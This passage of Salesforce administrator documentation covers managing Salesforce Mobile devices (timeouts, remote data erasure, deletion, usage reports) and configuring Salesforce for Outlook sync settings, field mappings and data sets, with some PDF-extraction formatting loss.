Description The name of the first user who registered the mobile device and the time and date the registration occurred. The size of the Salesforce data currently stored on the user's mobile device. The mobile device periodically sends this information to Salesforce, which is helpful when troubleshooting synchronization errors resulting from an exceeded data limit. The unique PIN of the user's mobile device. The model of the mobile device. A flag indicating whether the device is a simulator or a mobile device. A simulator is a software application that emulates the behavior of a mobile device. The last time a full data set was downloaded to the mobile device. If a user's data set exceeds the limit defined in the assigned mobile configuration, the device can be registered but not activated. The last time data was received from the device. This information is helpful for troubleshooting connection issues. The last time a user registered the mobile device. The registration process creates the device record in Salesforce and associates it with the user who registered it. The last time the mobile device notified Salesforce that the device is no longer synchronizing data due to an error. The Last Status Date field is only visible when an error is present. The manufacturer of the mobile device. The size of the Salesforce metadata currently stored on the user's mobile device. Metadata consists of page layout and schema information, and the amount of metadata sent to a device can be very high depending on the size of your organization and the complexity of its setup. The name of the last user who registered the mobile device and the time and date the registration occurred. The number of messages queued on the mobile server waiting to be sent to the device. The type of operating system installed on the mobile device: BlackBerry, iPhone, or Windows Mobile. The version number of the operating system installed on the mobile device.

Data Size

Device Address Device Model Is Simulator?

Last Activated

Last Data Received

Last Registration

Last Status Date

Manufacturer Metadata Size

Modified By

Number of Pending Outgoing Messages

Operating System

Operating System Version

1020

Salesforce Mobile

Managing Mobile Devices

Field
Phone Number Salesforce Mobile Version

Description The phone number associated with the mobile device. The version number and build number of the mobile client application installed on the device. The total data size of the messages queued on the device waiting to be sent to the mobile server. Because the server processes messages almost instantaneously, this value is usually 0. The total data size of the outbound message queue on the mobile server. Indicates whether any synchronization errors exist between the device and Salesforce. The Status field is only visible when an error is present. The two error statuses are Data Limit Exceeded and Unknown Error. The Salesforce username of the user who is associated with the mobile device.

Size of Pending Outgoing Messages (Bytes)

Size of Outgoing Messages (Bytes)

Status

Username

Note: If Salesforce detects the selected device was registered by a user in another organization, an error displays on the device detail page. This can happen when a device was registered to a user in your sandbox organization and then later activated by a user in your production organization. To remove the old device record from your organization, simply delete the device.

Setting Mobile Session Timeout Values


Available in: Unlimited and Developer Editions Available for an additional cost in: Professional and Enterprise Editions

User Permissions Needed To set mobile session timeout values: Manage Mobile Configurations

For security reasons, the mobile client application is set to lock out users after ten minutes of inactivity. Administrators can adjust or disable this setting on a device-by-device basis. You might disable the timeout setting if the mobile device's operating system has its own locking mechanism. To change the mobile session timeout value: 1. Navigate to the Mobile Devices and Users page or the Mobile Device page: Click Your Name > Setup > Mobile Administration > Salesforce Mobile > Users and Devices. From the list view, you can select multiple devices at one time.

1021

Salesforce Mobile

Managing Mobile Devices

OR Click Your Name > Setup > Manage Users > Users. Click Edit next to a user's name, and then click the device address in the Assigned Mobile Devices related list.

2. Click Set Mobile Session Timeout. 3. Choose the new timeout value in minutes. You also have the option to choose Never Expire if users should not be locked out of the mobile application. 4. Click Save. Salesforce attempts to send a message containing the new session timeout setting to the selected mobile devices. 5. A confirmation page summarizes the results for each mobile device you selected. Mobile Session Timeout Results After Salesforce sends the new session timeout session to the selected mobile devices, a results page provides information about the status of each message. The table below describes the three possible outcomes: Result Message successfully queued Description The mobile server has sent the message to the device. Salesforce cannot detect if the message was received by the device. A temporary communication problem between Salesforce and the mobile server prevented the message from being sent. Try again later. The selected mobile user never registered a device, so therefore the message could not be sent.

Unable to send message

User has no mobile device

See Also:
Managing Mobile Devices Viewing Mobile Device Information Erasing Mobile Data Deleting Mobile Devices Salesforce Mobile Overview

1022

Salesforce Mobile

Managing Mobile Devices

Erasing Mobile Data


Available in: Unlimited and Developer Editions Available for an additional cost in: Professional and Enterprise Editions

User Permissions Needed To delete the mobile data on a device: Manage Mobile Configurations

A mobile device activated by a Salesforce user contains both the mobile client application and a set of the user's Salesforce data. An administrator can remove the data from a device without uninstalling the mobile application. This is an effective security tool when a user misplaces his or her device. You also must erase a device's data if you plan to give it to another user. To erase the Salesforce data on one or more mobile devices: 1. Navigate to the Mobile Devices and Users page or the Mobile Device page: Click Your Name > Setup > Mobile Administration > Salesforce Mobile > Users and Devices. From the list view, you can select multiple devices at one time. Click Your Name > Setup > Manage Users > Users. Click Edit next to a user's name, and then click the device address in the Assigned Mobile Devices related list.

2. Click Erase Data, and then click OK. Salesforce attempts to send a message to the mobile devices to erase the data. Erase Data Results After Salesforce sends the message to the mobile devices to erase data, a results page provides information about the status of each message. The table below describes the three possible outcomes: Result Message successfully queued Description The mobile server has sent the message to the device. Salesforce cannot detect if the message was received by the device. A temporary communication problem between Salesforce and the mobile server prevented the message from being sent. Try again later.

Unable to send message

1023

Salesforce Mobile

Managing Mobile Devices

Result User has no mobile device

Description The selected mobile user never registered a device, so therefore the message could not be sent.

See Also:
Managing Mobile Devices Viewing Mobile Device Information Setting Mobile Session Timeout Values Deleting Mobile Devices

Deleting Mobile Devices


Available in: Unlimited and Developer Editions Available for an additional cost in: Professional and Enterprise Editions

User Permissions Needed To view mobile devices and users: To delete mobile devices: View Setup and Configuration Manage Mobile Configurations

There are two instances when you would delete a mobile device from a user's record: Your organization's mobile settings permanently link mobile users to their devices, and you need to assign a device to a different user. If you did not enable this setting, Salesforce automatically associates a device record with the mobile user who most recently activated the device, so it is unnecessary to delete a device to assign it to another user. You want to move a device from your sandbox organization to your production organization.

To delete a mobile device: 1. Navigate to the Mobile Devices and Users page or the Mobile Device page: Click Your Name > Setup > Mobile Administration > Salesforce Mobile > Users and Devices. From the list view, you can select multiple devices at one time. OR Click Your Name > Setup > Manage Users > Users. Click Edit next to a user's name, and then click the device address in the Assigned Mobile Devices related list.

2. On the Mobile Devices and Users page, select one or more devices, then click Delete Device. On the Mobile Device page, click Delete. 3. Click OK. Salesforce attempts to delete the selected device(s).

1024

Salesforce Mobile

Customizing Mobile Settings

4. A confirmation page summarizes the results for each mobile device you selected. Delete Device Results After Salesforce sends the message to the mobile server to delete the devices, a results page provides information about the status of each device. The table below describes the three possible outcomes: Result Device deleted. Description Salesforce removed the device record from your organization.

Device cannot be deleted at this time. Please try again later. A temporary communication problem between Salesforce and the mobile server prevented the device from being deleted. Try again later. User has no mobile device. The selected mobile user never registered a device, so therefore the message could not be sent.

See Also:
Erasing Mobile Data Sandbox Overview

Customizing Mobile Settings


Available in: All Editions except Database.com

User Permissions Needed To view mobile settings: To change mobile settings: View Setup and Configuration Manage Mobile Configurations

To customize mobile settings for your organization: 1. Click Your Name > Setup > Mobile Administration > Salesforce Mobile > Settings. 2. Click Edit. 3. Select Enable Mobile Lite to allow users without a mobile license to install and run Mobile Lite, the free, restricted version of Salesforce Mobile. Starting with Spring '09, Mobile Lite is enabled by default in all new organizations. You can disable Mobile Lite to prevent users from accessing Salesforce from a mobile device. Note: If you deselect this option and users are running Mobile Lite, the Salesforce data on their devices will be erased the next time the devices synchronize with Salesforce. 4. Select Permanently Link User to Mobile Device to prevent mobile users from registering any mobile device other than the one they used for their initial Salesforce Mobile account activation.

1025

Salesforce Mobile

Salesforce Mobile Usage Data in Custom Report Types

By default, Salesforce automatically associates a device record with the mobile user who most recently activated the device, so administrators do not need to update the device record to assign the device to another user. While this behavior makes it easy to switch devices between users in your organization, some administrators prefer that users are permanently linked to the devices they were originally assigned. This helps administrators of organizations with highly sensitive data ensure that their users do not access corporate data from personal devices. Warning: Enabling the Permanently Link User to Mobile Device setting requires administrative action when users need to switch devices. You must manually delete the existing device from a user's record in order for the user to register a different device. If you do not delete the device, the user will be unable to access Salesforce Mobile. 5. Click Save.

See Also:
Salesforce Mobile Overview Mobile Lite Overview Chatter Mobile App Overview Managing Mobile Configurations Managing Mobile Devices Salesforce Mobile Usage Data in Custom Report Types

Salesforce Mobile Usage Data in Custom Report Types


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create or update custom report types: To delete custom report types: Manage Custom Report Types Modify All Data

You can create custom report types with data that shows how your organization uses Salesforce Mobile. For example, the reports can show how often users access Salesforce Mobile, which mobile device models they use, and so forth. To create a custom report type with Salesforce Mobile usage data, select the Mobile Session Primary Object when defining a custom report type. When you select the fields for the custom report type, choose from the following Salesforce Mobile-specific fields. Mobile Usage Data Point Brand Data Size (Bytes) Device Address Definition Wireless carrier Total size of records on device Unique physical address of device (PIN for BlackBerry or UDID for iOS)

1026

Salesforce Mobile

Salesforce Mobile Usage Data in Custom Report Types

Device Application Version Device Model Device Operating System Version Duration Last Registration Date Last Status Date Manufacturer Metadata Size (Bytes) Owner: Full Name Session Start Date Status

Installed version of Salesforce Mobile Model of device Version of operating system installed on device Duration of the mobile session in seconds Date of last registration or activation Date of last communication received from device Manufacturer of device Size of metadata (page layouts, picklist values, and so forth) on the device Name of the device user Date the mobile session started Indicator that the user's data set exceeds the maximum allowed size by the mobile configuration

Note: Mobile sessions are similar to Web-based sessions in login history reports; however, mobile sessions have a fixed timeout value of 20 minutes. Salesforce creates a new Mobile Session when a user logs into or launches Salesforce Mobile after 20 minutes of inactivity in the app or on the device in general. Mobile session reports only have usage data for the Salesforce Mobile app and not the Chatter mobile app. Some devices do not provide every physical attribute. For example, Apple devices do not provide brand.

See Also:
Salesforce Mobile Overview Mobile Lite Overview Customizing Mobile Settings Managing Mobile Configurations Managing Mobile Devices

1027

Administering Salesforce for Outlook

Salesforce for Outlook System Requirements

ADMINISTERING SALESFORCE FOR OUTLOOK


Salesforce for Outlook System Requirements
Available in: Group, Professional, Enterprise, Unlimited, Developer, and Contact Manager Editions; and Trial organizations

System Requirements
Microsoft Outlook 2010 (64-bit and 32-bit) or 2007 on Microsoft Exchange Microsoft Windows 7 (64-bit and 32-bit), Windows Vista (32-bit only), or Windows XP (32-bit only) on Microsoft Exchange Latest versions of hot fixes for Outlook and Windows

Additional Requirements for Servers, Installers, and Single Sign-On


Servers Server configuration Does salesforce.com support this server configuration?

Systems that connect to the Internet Yes. through a proxy server We support automatic proxy detection, manual proxy, and NTLM proxy authentication. We dont, however, support manual proxy authentication. IMAP and POP3 email servers Terminal servers, such as Citrix servers No. No.

Installers We dont support Microsoft Office Click-to-Run for any Salesforce for Outlook installers. If you plan to use the .msi installer, you may need to install the following additional tools: Microsoft .NET Framework 4 Microsoft Visual Studio 2010 Tools for Office Runtime Primary Interop Assemblies (PIA) Redistributable for your version of Microsoft Outlook

Microsoft Windows Vista and Windows 7 .msi users must run the command prompt as an administrator and then launch the installer from the command line, such as from the command msiexec /i SalesforceForOutlook.msi.

1028

Administering Salesforce for Outlook

Salesforce for Outlook System Requirements

Single Sign-On Salesforce for Outlook supports both delegated authentication and Security Assertion Markup Language (SAML) requirements. When using SAML in Salesforce for Outlook, My Domain is required. We dont support using a separate online identity provider for single sign-on.

See Also:
Salesforce for Outlook Overview Downloading and Installing Salesforce for Outlook Reviewing the Salesforce for Outlook Terms of Use Salesforce for Outlook Supported Languages

Salesforce for Outlook Supported Languages


Available in: Group, Professional, Enterprise, Unlimited, Developer, and Contact Manager Editions; and Trial organizations

Salesforce for Outlook supports these languages. Chinese (Simplified) Chinese (Traditional) Czech Danish Dutch English German Finnish French Hebrew Hungarian Italian Japanese Korean Polish Portuguese (Brazil) Romanian Russian Spanish Spanish (Mexico) Swedish Thai Turkish Ukrainian

1029

Administering Salesforce for Outlook

Salesforce for Outlook Configurations Overview

Vietnamese

The Salesforce for Outlook installer doesn't support: Hebrew Portuguese (Brazil) Romanian Spanish (Mexico) Thai Vietnamese

See Also:
Salesforce for Outlook System Requirements

Salesforce for Outlook Configurations Overview


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view configurations: To create, edit, or delete configurations: View Setup and Configuration Manage Email Client Configurations

A Salesforce for Outlook configuration is a set of parameters that determine the data that Salesforce for Outlook users can sync between Microsoft Outlook and Salesforce. You can create multiple configurations to simultaneously suit the needs of different types of users. For example, an opportunity team might want to sync everything, while a manager might only want to sync events. Users may be able to edit some of their own settings. Default configurations are automatically assigned to users of Contact Manager and Group Editions. To manage your configurations, click Your Name > Setup > Desktop Administration > Outlook Configurations. If you want to A configuration, Create Edit Delete View details about Clone Activate Click New Outlook Configuration. Click Edit. Click Del. Click its name. Select the configuration you want to clone and click Clone. Click Edit next to the configuration, select Active, and click Save.

1030

Administering Salesforce for Outlook

Creating Salesforce for Outlook Configurations

If you want to A configuration, Deactivate Click Edit next to the configuration, deselect Active, and click Save. If the configurations users are listed on another active configuration through a profile, that configuration is used the next time they open Outlook. Otherwise, removed users are unable to use Salesforce for Outlook.

See Also:
Creating Salesforce for Outlook Configurations Defining Data Sets for Salesforce for Outlook Checking the Size of Salesforce for Outlook Data Sets Default Salesforce for Outlook Configuration Salesforce for Outlook Overview

Creating Salesforce for Outlook Configurations


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view configurations: To create, edit, or delete configurations: View Setup and Configuration Manage Email Client Configurations

1. 2. 3. 4. 5.

Click Your Name > Setup > Desktop Administration > Outlook Configurations. Click New Outlook Configuration. Enter a name and description of the configuration. Select Active to activate the configuration. Make sure Notify of product updates is selected if you want users to see system tray alerts when new versions of Salesforce for Outlook are available for download. Users are alerted every 14 days until they download the new version or hide system tray alerts. 6. Depending on the configuration, youll need to define some or all of these settings. Assigned users and profiles Email-related options for the Salesforce Side Panel, as well as add email and create cases Sync direction Conflict behavior Field mappings Matching criteria Modification permissions Advanced settings

7. Click Save.

1031

Administering Salesforce for Outlook

Creating Salesforce for Outlook Configurations

8. Define data sets. When users log in to Salesforce from the Salesforce for Outlook setup wizard, these settings take effect immediately. If you deactivate a configuration and the assigned users are listed on another active configuration through a profile, the active configuration is used the next time they open Outlook.

See Also:
Salesforce for Outlook Configurations Overview Default Salesforce for Outlook Configuration

Assigning Users to Salesforce for Outlook Configurations


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view configurations: To create, edit, or delete configurations: View Setup and Configuration Manage Email Client Configurations

After you define basic information for a Salesforce for Outlook configuration, you select the Salesforce for Outlook users that the configurations settings will apply to. 1. Click Your Name > Setup > Desktop Administration > Outlook Configurations. 2. If youre modifying an existing Outlook configuration, click Edit next to the one you want to modify. Otherwise, click New Outlook Configuration, and complete any required fields. 3. In the Assign Users and Profiles section, select either Profiles or Users in the Search drop-down list. 4. If you don't see the member you want to add, enter keywords in the search box and click Find. 5. Select members from the Available Members box, and click Add to add them to the group. If all available users are assigned to this configuration, the Users list is empty and you can only assign profiles. 6. To remove members, select those members and click Remove. If removed users are assigned to another active configuration through a profile, that other configuration is used the next time they open Outlook. Otherwise, removed users are unable to use Salesforce for Outlook. 7. Click Save. All changes take effect the next time data syncs for the users in this configuration. If you assign a user who is already assigned to a different configuration, that user is removed from the other configuration and assigned to this one. If an assigned user is also part of a profile assigned to another active configuration, the configuration that lists the user directly is used.

See Also:
Creating Salesforce for Outlook Configurations Salesforce for Outlook Configurations Overview Enabling Email Options for Salesforce for Outlook

1032

Administering Salesforce for Outlook

Creating Salesforce for Outlook Configurations

Defining Data Settings for Salesforce for Outlook


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view configurations: To create, edit, or delete configurations: View Setup and Configuration Manage Email Client Configurations

Data settings control the sync behavior and email functionality of Salesforce for Outlook. You can define the following settings using the Data Settings fields in a Salesforce for Outlook configuration. Email-related options for the Salesforce Side Panel, as well as add email and create cases Sync direction Conflict behavior Field mappings Matching criteria Modification permissions

Enabling Email Options for Salesforce for Outlook


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view configurations: To create, edit, or delete configurations: To enable Add Email, Side Panel, and Create Case: View Setup and Configuration Manage Email Client Configurations Customize Application

You can set up Salesforce for Outlook email options for: Adding emails from Outlook to Salesforce Displaying the Salesforce Side Panel in Microsoft Outlook Creating Salesforce cases from Outlook emails

Enabling the Add Email Feature This adds the Add Emails and Send and Add buttons to Outlook, and lets your users add up to 10 emails simultaneously to Salesforce.

1033

Administering Salesforce for Outlook

Creating Salesforce for Outlook Configurations

Emails that you add using Salesforce for Outlook are saved in Salesforce and assigned to other records based on your My Email to Salesforce settings. 1. Click Your Name > Setup > Desktop Administration > Outlook Configurations. 2. If youre modifying an existing Outlook configuration, click Edit next to the one you want to modify. Otherwise, click New Outlook Configuration, and complete any required fields. 3. Select Add Email. 4. Click Save. 5. If you dont already have Email to Salesforce enabled, click Enable in the popup message to enable both features. Enabling the Salesforce Side PanelBeta Enabling the Salesforce Side Panel lets your users select an email in Outlook, and see Salesforce contacts and activities related to that email. 1. Click Your Name > Setup > Desktop Administration > Outlook Configurations. 2. If youre modifying an existing Outlook configuration, click Edit next to the one you want to modify. Otherwise, click New Outlook Configuration, and complete any required fields. 3. Select Side Panel (Beta). 4. Click Save. Enabling the Create Case Feature This adds the Create Cases drop-down list button to Outlook, and lets your users create Salesforce cases from Outlook emails. Note: Before you can enable the Create Case feature, review and complete the procedures in Setting Up Create Case for Salesforce for Outlook Users on page 1035. Then, return to this topic to complete the following procedure. 1. Click Your Name > Setup > Desktop Administration > Outlook Configurations. 2. If youre modifying an existing Outlook configuration, click Edit next to the one you want to modify. Otherwise, click New Outlook Configuration, and complete any required fields. 3. Select Create Case. Then, choose one of the following links. Recommended: Choose an Existing Create Case Destination, which lets you choose existing destinations. You can choose up to 10 destinations for each Outlook configuration. Create a New Create Case Destination. If you need to create a new one, you need to first save your work, create the new destination, and then return to the Outlook Configuration page to complete the Create Case setup requirements.

4. Click Save.

See Also:
Adding Email with Salesforce for Outlook Editing Your Salesforce for Outlook Email Settings Resolving Your Unassigned Emails Creating Salesforce for Outlook Configurations Assigning Users to Salesforce for Outlook Configurations Viewing Your Salesforce World in Microsoft Outlook

1034

Administering Salesforce for Outlook

Creating Salesforce for Outlook Configurations

Understanding how Enabling Recurring Events Affects Users


Available in: Professional, Enterprise, Unlimited, and Developer Editions

Your Salesforce and API users can expect the following changes after you enable the Salesforce for Outlook Recurring Events feature. For Salesforce users You should know that If your users make non-critical changes (such as changes to the subject, reminders, and so on) to any recurring series, those changes wont propagate to individually modified occurrences. For example, your user modifies the timing of an occurrence, and then later modifies the subject for the entire series. The subject modification for the series wont propagate to the one modified occurrence. While non-critical changes dont propagate to individually modifies occurrences, the following critical changes do. API users Appointment times Recurrence patterns Ranges of occurrences

After users start syncing recurring events, the following read-only API objects appear in the API. EventRecurrenceException TaskRecurrenceException

See Also:
Enabling Email Options for Salesforce for Outlook Salesforce for Outlook Configurations Overview

Setting Up Create Case for Salesforce for Outlook Users


Available in: Professional, Enterprise, Unlimited, and Developer Editions The Create Case feature in Salesforce for Outlook lets users create cases in Salesforce from emails in Microsoft Outlook. As an administrator, you can create Email-to-Case destinations that appear in the drop-down list button Create Cases in Outlook. For each destination, you choose the assignee, which can be either individual users or queues. You can add up to 10 destinations for each Outlook configuration. When users create cases, they can add up to 10 emails simultaneously for each destination. Before Salesforce for Outlook users can create cases from Outlook emails, youll need to perform the following procedures.

1035

Administering Salesforce for Outlook

Creating Salesforce for Outlook Configurations

1. If you havent already enabled the On-Demand Service for Email-to-Case, complete the procedure Enabling and Configuring On-Demand Email-to-Case on page 1424. 2. If you havent already defined Email-to-Case destinations (also known as email routing addresses), complete the procedure Configuring Routing Addresses for Email-to-Case on page 1421. 3. Enable Create Case in your configurations. The topic Enabling the Create Case Feature on page 1034 provides details for editing configurations to include the drop-down list button Create Cases in Outlook. Salesforce for Outlook assigns a category to the emails that Salesforce for Outlook users add as cases to Salesforce. This category, Added to Salesforce as a case, makes it easy for users to search for emails they added as cases to Salesforce.

See Also:
Creating Salesforce for Outlook Configurations Enabling Email Options for Salesforce for Outlook

Defining Sync Directions for Salesforce for Outlook


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view configurations: To create, edit, or delete configurations: View Setup and Configuration Manage Email Client Configurations

Sync direction indicates the direction data flows when Salesforce for Outlook syncs data. 1. Click Your Name > Setup > Desktop Administration > Outlook Configurations. 2. Create or edit a configuration, and select one of these sync directions under Data Settings for each object being synced.
Don't syncOutlook and Salesforce records aren't synced, and you can't select an Outlook folder to sync within the setup wizard. Salesforce.com to OutlookWhen data first syncs, a record in Salesforce creates or updates a record in Outlook. During future syncs, changes made to Salesforce records appear in Outlook, regardless of whether the Outlook version of the record has changed. In addition, deleting a synced record in Salesforce deletes its Outlook counterpart. Outlook changes are never sent to Salesforce. The required conflict behavior setting for this option is Salesforce.com always wins. Outlook to salesforce.comDuring its first sync, a record in Outlook creates or updates a record in Salesforce. During future syncs, changes made to Outlook records appear in Salesforce, regardless of whether the Salesforce version has changed. In addition, deleting a synced record in Outlook deletes its Salesforce counterpart. Salesforce changes are never sent to Outlook. The required conflict behavior setting for this option is Outlook always wins. This option isn't available for contacts. Sync both waysWhen records sync, changes to Outlook records are reflected in Salesforce, and vice versa. If records conflict, the conflict behavior setting determines which record wins.

3. Click Save. All changes take effect the next time data syncs for the users in this configuration.

1036

Administering Salesforce for Outlook

Creating Salesforce for Outlook Configurations

4. Define a data set for each object that has a sync direction.

See Also:
Defining Data Sets for Salesforce for Outlook Creating Salesforce for Outlook Configurations Salesforce for Outlook Configurations Overview Defining Conflict Behavior for Salesforce for Outlook Enabling Email Options for Salesforce for Outlook

Defining Conflict Behavior for Salesforce for Outlook


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view configurations: To create, edit, or delete configurations: View Setup and Configuration Manage Email Client Configurations

Conflict behavior settings determine what happens when Salesforce for Outlook encounters a conflict when syncing data both ways. A conflict occurs when the same record is updated in both Salesforce and Outlook or when a record is updated on one side and deleted in the other. 1. Click Your Name > Setup > Desktop Administration > Outlook Configurations. 2. Edit a configuration, and select a conflict behavior under Data Settings for each object being synced. Possible options are:
Salesforce.com always wins Outlook always wins

3. Click Save. All changes take effect the next time data syncs for the users in this configuration.

See Also:
Creating Salesforce for Outlook Configurations Salesforce for Outlook Configurations Overview Mapping Fields for Salesforce for Outlook Defining Sync Directions for Salesforce for Outlook

1037

Administering Salesforce for Outlook

Creating Salesforce for Outlook Configurations

Mapping Fields for Salesforce for Outlook


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view configurations: To create, edit, or delete configurations: View Setup and Configuration Manage Email Client Configurations

Field mappings define which Salesforce and Outlook fields correspond when records sync with Salesforce for Outlook. Salesforce comes with a set of default mappings. You may be able to change some of them. To map fields: 1. Click Your Name > Setup > Desktop Administration > Outlook Configurations 2. Under Data Settings, click Edit Field Mappings to display the list of available fields. 3. Choose a field from the Salesforce Field picklist. This list displays the names of all Salesforce fields that haven't yet been mapped. Warning: If you map a custom field that is universally required, make sure it has a default value to avoid errors. Also, note that mapping custom fields that require validation by Salesforce may cause sync errors. For example, if you map a custom Salesforce field that requires a unique value, you'll get a uniqueness error when you sync if you enter a non-unique value in the Outlook field. 4. Choose a field from the Outlook Field picklist next to the selected Salesforce.com field. This list displays the names of all standard Outlook fields that haven't yet been mapped and that match the data type of the corresponding Salesforce field. 5. To map a Salesforce field to a custom Outlook field, select Custom Field... from the end of the corresponding Outlook Field picklist. Enter the field's name and click OK. The custom field must already exist in Outlook. Letters are not case-sensitive, and these characters aren't allowed: [, ], _, #. The first sync validates that the custom Outlook field exists and then maps it to the Salesforce field. Custom Outlook fields use a string data type. Note that we only allow custom fields for Salesforce text fields and non-restricted picklists. 6. To remove a field mapping, click the delete icon to the right of the mapping. To redo the mapping, just add a new mapping to the bottom of the list. To view your mappings, click View under Field Mapping on the detail page. 7. Click Save. All changes take effect the next time data syncs for the users in this configuration.

1038

Administering Salesforce for Outlook

Creating Salesforce for Outlook Configurations

Note: You can map custom Salesforce fields to standard or custom Outlook fields. You can't map picklist values.

See Also:
Creating Salesforce for Outlook Configurations Salesforce for Outlook Configurations Overview Defining Matching Criteria for Salesforce for Outlook Defining Conflict Behavior for Salesforce for Outlook

Defining Matching Criteria for Salesforce for Outlook


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view configurations: To create, edit, or delete configurations: View Setup and Configuration Manage Email Client Configurations

If Salesforce for Outlook finds multiple matching contacts when a contact first syncs from Outlook, we pick a Salesforce contact based on the matching criteria you define here. 1. Click Your Name > Setup > Desktop Administration > Outlook Configurations. 2. Edit a configuration, and select one of these matching criteria options under Data Settings for contacts.
Most recent activityChoose the Salesforce contact that shows the most recent activity (such as a phone call

or email), as shown in the contact's Activity History related list. This is the default matching option. Last updatedChoose the Salesforce contact that was most recently modified. OldestChoose the Salesforce contact that has the earliest creation date.

3. Click Save. All changes take effect the next time data syncs for the users in this configuration. If we don't find a matching contact in Salesforce, we create a new contact that syncs with the Outlook contact. We then either automatically assign the synced contact to a Salesforce account, leave it unassigned, or place it in the user's My Unresolved Items page to be manually assigned.

See Also:
Creating Salesforce for Outlook Configurations Salesforce for Outlook Configurations Overview Mapping Fields for Salesforce for Outlook

1039

Administering Salesforce for Outlook

Creating Salesforce for Outlook Configurations

Letting Users Modify Salesforce for Outlook Settings


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view configurations: To create, edit, or delete configurations: View Setup and Configuration Manage Email Client Configurations

1. Click Your Name > Setup > Desktop Administration > Outlook Configurations. 2. Edit a configuration, and select any of the following options under Data Settings for each object being synced. You can allow users to modify:
Whether object is synced Sync direction Conflict behavior Field mappings

3. Click Save. All changes take effect the next time data syncs for the users in this configuration. You can overwrite users modifications any time by selecting Overwrite configuration changes made by users in a configuration. After you save the updated configuration, the new settings replace the existing settings for users of the configuration the next time their data syncs.

Defining Advanced Settings for Salesforce for Outlook


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view configurations: To create, edit, or delete configurations: View Setup and Configuration Manage Email Client Configurations

Use advanced settings in a Salesforce for Outlook configuration to customize the default behavior of Salesforce for Outlook, such as setting the maximum size of the sync log. Click Edit to change the value of an advanced setting or Remove to remove it from the configuration. 1. Click Your Name > Setup > Desktop Administration > Outlook Configurations. 2. If youre modifying an existing Outlook configuration, click Edit next to the one you want to modify. Otherwise, click New Outlook Configuration, and complete any required fields. 3. Click Add Advanced Setting in the Advanced Settings section of an Outlook configuration.

1040

Administering Salesforce for Outlook

Creating Salesforce for Outlook Configurations

4. Choose one of these settings and enter a value. Advanced Setting HTTPTimeout This setting indicates The number of seconds Salesforce for Outlook waits while trying to establish an HTTP connection with Salesforce. The value must be between 15 and 360 seconds, and the default is 30. The maximum file size of the sync log you'll maintain. Value must be between 1 and 128 MB, and the default is 1. The number of times Salesforce for Outlook tries to connect to Salesforce. The value must be between 0 and 10, and the default is 3.

MaxLogFileSize MaxRetries

5. Click OK. 6. Click Save. All changes take effect the next time data syncs for the users in this configuration.

See Also:
Creating Salesforce for Outlook Configurations Salesforce for Outlook Configurations Overview Defining Data Sets for Salesforce for Outlook

Default Salesforce for Outlook Configuration


Available in: Contact Manager and Group Editions

Because Salesforce for Outlook configurations are only available in Professional, Enterprise, Unlimited, and Developer Editions, users of Contact Manager and Group Editions are automatically assigned a default configuration so they can use Salesforce for Outlook. The default configuration has these settings. EmailAdd Email is enabled if Email to Salesforce is turned on. Contacts Sync DirectionSync both ways Conflict BehaviorOutlook always wins Filters
Contacts: User's Records Contacts on Accounts: User's Records Contacts in Chatter: Records User is Following

Field MappingDefault settings Matching CriteriaMost recent activity Events

1041

Administering Salesforce for Outlook

Defining Data Sets for Salesforce for Outlook

Sync DirectionSync both ways Conflict BehaviorOutlook always wins Filters


User's Records Date greater or equal to LAST 30 DAYS

Field MappingDefault settings Tasks Sync DirectionSync both ways Conflict BehaviorSalesforce.com always wins Filters
User's Records Due date greater or equal to LAST 30 DAYS

Field MappingDefault settings

Defining Data Sets for Salesforce for Outlook


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view configurations: To create, edit, or delete configurations: To create, edit, or delete data sets: View Setup and Configuration Manage Email Client Configurations Sync Direction cant be Don't sync

Data sets are subsets of the Salesforce records that Salesforce for Outlook users can sync. They consist of filters that limit which records will sync. Each configuration must have a data set in order for users to sync with Outlook. The Outlook Configuration detail page shows a summary of the configurations current filters. 1. 2. 3. 4. 5. Click Your Name > Setup > Desktop Administration > Outlook Configurations. Click the name of an Outlook configuration. In the Data Sets related list, click Edit. Specify filters. To see how many items will sync, you can check the data set size.

1042

Administering Salesforce for Outlook

Defining Data Sets for Salesforce for Outlook

6. Click Save.

See Also:
Sample Salesforce for Outlook Data Sets Tips on Entering Salesforce for Outlook Contact Filters Salesforce for Outlook Configurations Overview Checking the Size of Salesforce for Outlook Data Sets

Learning about Data Sets for Salesforce for Outlook


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view configurations: To create, edit, or delete configurations: To create, edit, or delete data sets: View Setup and Configuration Manage Email Client Configurations Sync Direction cant be Don't sync

Data sets are subsets of the Salesforce records that Salesforce for Outlook users can sync. They consist of filters that limit which records will sync. Knowing What Syncs Salesforce for Outlook syncs records based on definitions in data sets, along with records related to them. Understanding Limits to Data Sets When using data sets, users can sync up to 5,000 records per filter between Microsoft Outlook and Salesforce at a time. This means that if users have more than 5,000 records to sync based on the configuration of their data sets, Salesforce for Outlook won't sync some of them. In addition, users may find that syncing these large quantities of records may slow down the sync process. You can, however, increase the limits for the number of records users can sync. Just keep in mind that you can't reduce the likelihood of the sync process slowing down. Increasing Limits to Data Sets If your users are working with more than 5,000 records, you can configure their data sets so that they can sync larger quantities of records. To do this, you'll their edit data sets to include additional filters. For example, under Filter By Record Ownership in the Contact Filters section, choose Selected Contacts. Then, choose User's Records under Contacts, Contacts on Opportunities, and Contacts on Accounts. Because the data set now has three filters, your users can now sync up to 15,000 contact records. Keep in mind that these various filters you set up won't necessarily select records that are mutually exclusive. Therefore, the sync process might not sync exactly 15,000 records. To avoid this situation, you can further refine the group of contacts you want to sync. Just define additional parameters under Filter By Additional Objects and Fields.

1043

Administering Salesforce for Outlook

Defining Data Sets for Salesforce for Outlook

